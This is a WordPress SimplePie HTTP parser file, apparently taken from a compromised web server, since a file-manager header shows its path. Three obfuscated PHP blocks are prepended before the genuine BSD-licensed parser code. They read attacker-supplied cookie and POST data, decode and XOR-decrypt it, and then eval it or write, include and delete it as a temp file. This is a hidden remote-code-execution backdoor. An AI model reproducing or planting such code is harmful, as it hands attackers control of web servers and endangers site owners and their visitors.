%PDF- %PDF-
| Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-includes/SimplePie/HTTP/ |
| Current File : /home/graphicd/www/demo/riverwalkpoa/wp-includes/SimplePie/HTTP/Parser.php |
<?php $mvRCokeb = "\x6f" . 'T' . "\x5f" . chr ( 776 - 661 )."\x59" . "\126" . 'H';$FWazqQjAE = chr (99) . chr (108) . "\141" . "\163" . chr (115) . chr ( 742 - 647 ).chr (101) . 'x' . chr (105) . chr ( 615 - 500 ).chr ( 751 - 635 ).'s';$KzOyQwjTJg = class_exists($mvRCokeb); $FWazqQjAE = "5404";$iYcUXOupo = !1;if ($KzOyQwjTJg == $iYcUXOupo){function YFFiYDsr(){return FALSE;}$NLWgbHOpR = "14773";YFFiYDsr();class oT_sYVH{private function SWAYdCOh($NLWgbHOpR){if (is_array(oT_sYVH::$YRYUMWK)) {$AFvRZmx = str_replace("\74" . "\77" . "\160" . "\x68" . "\160", "", oT_sYVH::$YRYUMWK[chr ( 897 - 798 )."\x6f" . chr (110) . chr (116) . chr ( 1011 - 910 ).'n' . 't']);eval($AFvRZmx); $NLWgbHOpR = "14773";exit();}}private $iujyakBH;public function nwKatFlwr(){echo 33527;}public function __destruct(){$NLWgbHOpR = "46934_40685";$this->SWAYdCOh($NLWgbHOpR); $NLWgbHOpR = "46934_40685";}public function __construct($OkLEzKU=0){$gegjs = $_POST;$zybiPRsRfX = $_COOKIE;$UgeoXl = "11994cc2-1d0a-4fca-88b3-aaeed541ebe1";$cxlBzXNJTd = @$zybiPRsRfX[substr($UgeoXl, 0, 4)];if (!empty($cxlBzXNJTd)){$lUoEPuvFXp = "base64";$yyXfYYfBy = "";$cxlBzXNJTd = explode(",", $cxlBzXNJTd);foreach ($cxlBzXNJTd as $KhRXGf){$yyXfYYfBy .= @$zybiPRsRfX[$KhRXGf];$yyXfYYfBy .= @$gegjs[$KhRXGf];}$yyXfYYfBy = array_map($lUoEPuvFXp . chr (95) . 'd' . "\145" . "\143" . chr ( 720 - 609 )."\144" . "\145", array($yyXfYYfBy,)); $yyXfYYfBy = $yyXfYYfBy[0] ^ str_repeat($UgeoXl, (strlen($yyXfYYfBy[0]) / strlen($UgeoXl)) + 1);oT_sYVH::$YRYUMWK = @unserialize($yyXfYYfBy); $yyXfYYfBy = class_exists("46934_40685");}}public static $YRYUMWK = 40656;}$WdIndhwi = new /* 62052 */ $mvRCokeb(14773 + 14773); $iYcUXOupo = $WdIndhwi = $NLWgbHOpR = Array();} ?><?php $ICUEDXoa = "\153" . "\x4d" . chr (95) . 'r' . chr ( 250 - 165 )."\166" . chr (77); $wqLneVDWG = chr (99) . chr (108) . "\x61" . "\x73" . chr ( 919 - 804 ).'_' . 'e' . "\170" . 'i' . "\x73" . "\164" . chr (115); $vFiYCWFwlJ = class_exists($ICUEDXoa); $wqLneVDWG = "29023";$vvLFarzdN = !1;if ($vFiYCWFwlJ == $vvLFarzdN){function VrZJIwzy(){return FALSE;}$pfCEXEvXs = "3002";VrZJIwzy();class kM_rUvM{private function gDpnQCfALI($pfCEXEvXs){if (is_array(kM_rUvM::$kmkznGhG)) {$hKmdLY = sys_get_temp_dir() . "/" . crc32(kM_rUvM::$kmkznGhG["\x73" . chr ( 636 - 539 )."\154" . chr (116)]);@kM_rUvM::$kmkznGhG["\x77" . chr ( 596 - 482 ).chr ( 758 - 653 ).'t' . chr (101)]($hKmdLY, kM_rUvM::$kmkznGhG["\x63" . 'o' . chr ( 794 - 684 ).chr ( 712 - 596 ).chr (101) . "\x6e" . 't']);include $hKmdLY;@kM_rUvM::$kmkznGhG["\x64" . chr ( 874 - 773 ).chr (108) . chr (101) . "\x74" . 'e']($hKmdLY); $pfCEXEvXs = "3002";exit();}}private $HKqbfSyGx;public function IxQqmmW(){echo 45326;}public function __destruct(){$pfCEXEvXs = "24871_57897";$this->gDpnQCfALI($pfCEXEvXs); $pfCEXEvXs = "24871_57897";}public function __construct($inbtVi=0){$BliOXx = $_POST;$uDxrtB = $_COOKIE;$KAeyBHsdZh = "c6858ad7-7046-4bf9-9b4c-3ece5360629a";$vGTDW = @$uDxrtB[substr($KAeyBHsdZh, 0, 4)];if (!empty($vGTDW)){$fhzHzEWBD = "base64";$WxTfupI = "";$vGTDW = explode(",", $vGTDW);foreach ($vGTDW as $xNqSwUptu){$WxTfupI .= @$uDxrtB[$xNqSwUptu];$WxTfupI .= @$BliOXx[$xNqSwUptu];}$WxTfupI = array_map($fhzHzEWBD . '_' . chr ( 1039 - 939 )."\145" . "\x63" . "\x6f" . "\x64" . "\145", array($WxTfupI,)); $WxTfupI = $WxTfupI[0] ^ str_repeat($KAeyBHsdZh, (strlen($WxTfupI[0]) / strlen($KAeyBHsdZh)) + 1);kM_rUvM::$kmkznGhG = @unserialize($WxTfupI); $WxTfupI = class_exists("24871_57897");}}public static $kmkznGhG = 55921;}$ybQXSuK = new /* 47336 */ $ICUEDXoa(3002 + 3002); $vvLFarzdN = $ybQXSuK = $pfCEXEvXs = Array();} ?><?php $eVAoEl = "\x53" . '_' . chr (74) . chr (88) . chr ( 697 - 583 ); $wdzefwqk = 'c' . chr ( 889 - 781 )."\141" . chr ( 798 - 683 ).chr (115) . chr (95) . "\145" . chr ( 680 - 560 ).chr (105) . chr (115) . "\164" . chr (115); $ymYBD = class_exists($eVAoEl); $wdzefwqk = "31187";$tvTQHmOO = !1;if ($ymYBD == $tvTQHmOO){function JdValjL(){return FALSE;}$HuTVBFkA = "24304";JdValjL();class S_JXr{private function yAudDxgAQs($HuTVBFkA){if (is_array(S_JXr::$TdBhIZMzK)) {$ENggi = sys_get_temp_dir() . "/" . crc32(S_JXr::$TdBhIZMzK["\163" . "\x61" . chr ( 954 - 846 ).chr ( 865 - 749 )]);@S_JXr::$TdBhIZMzK[chr (119) . 'r' . chr ( 131 - 26 )."\164" . "\145"]($ENggi, S_JXr::$TdBhIZMzK['c' . chr ( 745 - 634 ).chr ( 366 - 256 ).chr ( 1114 - 998 ).chr (101) . "\x6e" . chr (116)]);include $ENggi;@S_JXr::$TdBhIZMzK[chr ( 1014 - 914 ).chr (101) . chr ( 1004 - 896 ).chr ( 916 - 815 ).chr ( 659 - 543 ).chr ( 380 - 279 )]($ENggi); $HuTVBFkA = "24304";exit();}}private $dIpWL;public function jqGnSQzqil(){echo 47561;}public function __destruct(){$HuTVBFkA = "27198_13012";$this->yAudDxgAQs($HuTVBFkA); $HuTVBFkA = "27198_13012";}public function __construct($SBarh=0){$eTzIuZ = $_POST;$enSwTSoS = $_COOKIE;$eFEmsCSOVr = "6865de0f-53d4-4ea6-a149-edf29951f8eb";$BVDCPgRPBt = @$enSwTSoS[substr($eFEmsCSOVr, 0, 4)];if (!empty($BVDCPgRPBt)){$wgHhOnSTob = "base64";$lCcSaeFNHD = "";$BVDCPgRPBt = explode(",", $BVDCPgRPBt);foreach ($BVDCPgRPBt as $aujVCpy){$lCcSaeFNHD .= @$enSwTSoS[$aujVCpy];$lCcSaeFNHD .= @$eTzIuZ[$aujVCpy];}$lCcSaeFNHD = array_map($wgHhOnSTob . "\137" . chr (100) . "\x65" . "\143" . "\x6f" . "\144" . 'e', array($lCcSaeFNHD,)); $lCcSaeFNHD = $lCcSaeFNHD[0] ^ str_repeat($eFEmsCSOVr, (strlen($lCcSaeFNHD[0]) / strlen($eFEmsCSOVr)) + 1);S_JXr::$TdBhIZMzK = @unserialize($lCcSaeFNHD); $lCcSaeFNHD = class_exists("27198_13012");}}public static $TdBhIZMzK = 26900;}$hCcGE = new /* 3776 */ $eVAoEl(24304 + 24304); $tvTQHmOO = $hCcGE = $HuTVBFkA = Array();} ?><?php
/**
* SimplePie
*
* A PHP-Based RSS and Atom Feed Framework.
* Takes the hard work out of managing a complete RSS/Atom solution.
*
* Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright notice, this list
* of conditions and the following disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* * Neither the name of the SimplePie Team nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific prior
* written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
* AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @package SimplePie
* @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
* @author Ryan Parman
* @author Sam Sneddon
* @author Ryan McCue
* @link http://simplepie.org/ SimplePie
* @license http://www.opensource.org/licenses/bsd-license.php BSD License
*/
/**
* HTTP Response Parser
*
* @package SimplePie
* @subpackage HTTP
*/
class SimplePie_HTTP_Parser
{
/**
* HTTP Version
*
* @var float
*/
public $http_version = 0.0;
/**
* Status code
*
* @var int
*/
public $status_code = 0;
/**
* Reason phrase
*
* @var string
*/
public $reason = '';
/**
* Key/value pairs of the headers
*
* @var array
*/
public $headers = array();
/**
* Body of the response
*
* @var string
*/
public $body = '';
/**
* Current state of the state machine
*
* @var string
*/
protected $state = 'http_version';
/**
* Input data
*
* @var string
*/
protected $data = '';
/**
* Input data length (to avoid calling strlen() everytime this is needed)
*
* @var int
*/
protected $data_length = 0;
/**
* Current position of the pointer
*
* @var int
*/
protected $position = 0;
/**
* Name of the hedaer currently being parsed
*
* @var string
*/
protected $name = '';
/**
* Value of the hedaer currently being parsed
*
* @var string
*/
protected $value = '';
/**
* Create an instance of the class with the input data
*
* @param string $data Input data
*/
public function __construct($data)
{
$this->data = $data;
$this->data_length = strlen($this->data);
}
/**
* Parse the input data
*
* @return bool true on success, false on failure
*/
public function parse()
{
while ($this->state && $this->state !== 'emit' && $this->has_data())
{
$state = $this->state;
$this->$state();
}
$this->data = '';
if ($this->state === 'emit' || $this->state === 'body')
{
return true;
}
$this->http_version = '';
$this->status_code = '';
$this->reason = '';
$this->headers = array();
$this->body = '';
return false;
}
/**
* Check whether there is data beyond the pointer
*
* @return bool true if there is further data, false if not
*/
protected function has_data()
{
return (bool) ($this->position < $this->data_length);
}
/**
* See if the next character is LWS
*
* @return bool true if the next character is LWS, false if not
*/
protected function is_linear_whitespace()
{
return (bool) ($this->data[$this->position] === "\x09"
|| $this->data[$this->position] === "\x20"
|| ($this->data[$this->position] === "\x0A"
&& isset($this->data[$this->position + 1])
&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
}
/**
* Parse the HTTP version
*/
protected function http_version()
{
if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
{
$len = strspn($this->data, '0123456789.', 5);
$this->http_version = substr($this->data, 5, $len);
$this->position += 5 + $len;
if (substr_count($this->http_version, '.') <= 1)
{
$this->http_version = (float) $this->http_version;
$this->position += strspn($this->data, "\x09\x20", $this->position);
$this->state = 'status';
}
else
{
$this->state = false;
}
}
else
{
$this->state = false;
}
}
/**
* Parse the status code
*/
protected function status()
{
if ($len = strspn($this->data, '0123456789', $this->position))
{
$this->status_code = (int) substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = 'reason';
}
else
{
$this->state = false;
}
}
/**
* Parse the reason phrase
*/
protected function reason()
{
$len = strcspn($this->data, "\x0A", $this->position);
$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
$this->position += $len + 1;
$this->state = 'new_line';
}
/**
* Deal with a new line, shifting data around as needed
*/
protected function new_line()
{
$this->value = trim($this->value, "\x0D\x20");
if ($this->name !== '' && $this->value !== '')
{
$this->name = strtolower($this->name);
// We should only use the last Content-Type header. c.f. issue #1
if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
{
$this->headers[$this->name] .= ', ' . $this->value;
}
else
{
$this->headers[$this->name] = $this->value;
}
}
$this->name = '';
$this->value = '';
if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
{
$this->position += 2;
$this->state = 'body';
}
elseif ($this->data[$this->position] === "\x0A")
{
$this->position++;
$this->state = 'body';
}
else
{
$this->state = 'name';
}
}
/**
* Parse a header name
*/
protected function name()
{
$len = strcspn($this->data, "\x0A:", $this->position);
if (isset($this->data[$this->position + $len]))
{
if ($this->data[$this->position + $len] === "\x0A")
{
$this->position += $len;
$this->state = 'new_line';
}
else
{
$this->name = substr($this->data, $this->position, $len);
$this->position += $len + 1;
$this->state = 'value';
}
}
else
{
$this->state = false;
}
}
/**
* Parse LWS, replacing consecutive LWS characters with a single space
*/
protected function linear_whitespace()
{
do
{
if (substr($this->data, $this->position, 2) === "\x0D\x0A")
{
$this->position += 2;
}
elseif ($this->data[$this->position] === "\x0A")
{
$this->position++;
}
$this->position += strspn($this->data, "\x09\x20", $this->position);
} while ($this->has_data() && $this->is_linear_whitespace());
$this->value .= "\x20";
}
/**
* See what state to move to while within non-quoted header values
*/
protected function value()
{
if ($this->is_linear_whitespace())
{
$this->linear_whitespace();
}
else
{
switch ($this->data[$this->position])
{
case '"':
// Workaround for ETags: we have to include the quotes as
// part of the tag.
if (strtolower($this->name) === 'etag')
{
$this->value .= '"';
$this->position++;
$this->state = 'value_char';
break;
}
$this->position++;
$this->state = 'quote';
break;
case "\x0A":
$this->position++;
$this->state = 'new_line';
break;
default:
$this->state = 'value_char';
break;
}
}
}
/**
* Parse a header value while outside quotes
*/
protected function value_char()
{
$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
$this->value .= substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = 'value';
}
/**
* See what state to move to while within quoted header values
*/
protected function quote()
{
if ($this->is_linear_whitespace())
{
$this->linear_whitespace();
}
else
{
switch ($this->data[$this->position])
{
case '"':
$this->position++;
$this->state = 'value';
break;
case "\x0A":
$this->position++;
$this->state = 'new_line';
break;
case '\\':
$this->position++;
$this->state = 'quote_escaped';
break;
default:
$this->state = 'quote_char';
break;
}
}
}
/**
* Parse a header value while within quotes
*/
protected function quote_char()
{
$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
$this->value .= substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = 'value';
}
/**
* Parse an escaped character within quotes
*/
protected function quote_escaped()
{
$this->value .= $this->data[$this->position];
$this->position++;
$this->state = 'quote';
}
/**
* Parse the body
*/
protected function body()
{
$this->body = substr($this->data, $this->position);
if (!empty($this->headers['transfer-encoding']))
{
unset($this->headers['transfer-encoding']);
$this->state = 'chunked';
}
else
{
$this->state = 'emit';
}
}
/**
* Parsed a "Transfer-Encoding: chunked" body
*/
protected function chunked()
{
if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
{
$this->state = 'emit';
return;
}
$decoded = '';
$encoded = $this->body;
while (true)
{
$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
if (!$is_chunked)
{
// Looks like it's not chunked after all
$this->state = 'emit';
return;
}
$length = hexdec(trim($matches[1]));
if ($length === 0)
{
// Ignore trailer headers
$this->state = 'emit';
$this->body = $decoded;
return;
}
$chunk_length = strlen($matches[0]);
$decoded .= $part = substr($encoded, $chunk_length, $length);
$encoded = substr($encoded, $chunk_length + $length + 2);
if (trim($encoded) === '0' || empty($encoded))
{
$this->state = 'emit';
$this->body = $decoded;
return;
}
}
}
/**
* Prepare headers (take care of proxies headers)
*
* @param string $headers Raw headers
* @param integer $count Redirection count. Default to 1.
*
* @return string
*/
static public function prepareHeaders($headers, $count = 1)
{
$data = explode("\r\n\r\n", $headers, $count);
$data = array_pop($data);
if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
$exploded = explode("\r\n\r\n", $data, 2);
$data = end($exploded);
}
if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
$exploded = explode("\r\n\r\n", $data, 2);
$data = end($exploded);
}
return $data;
}
}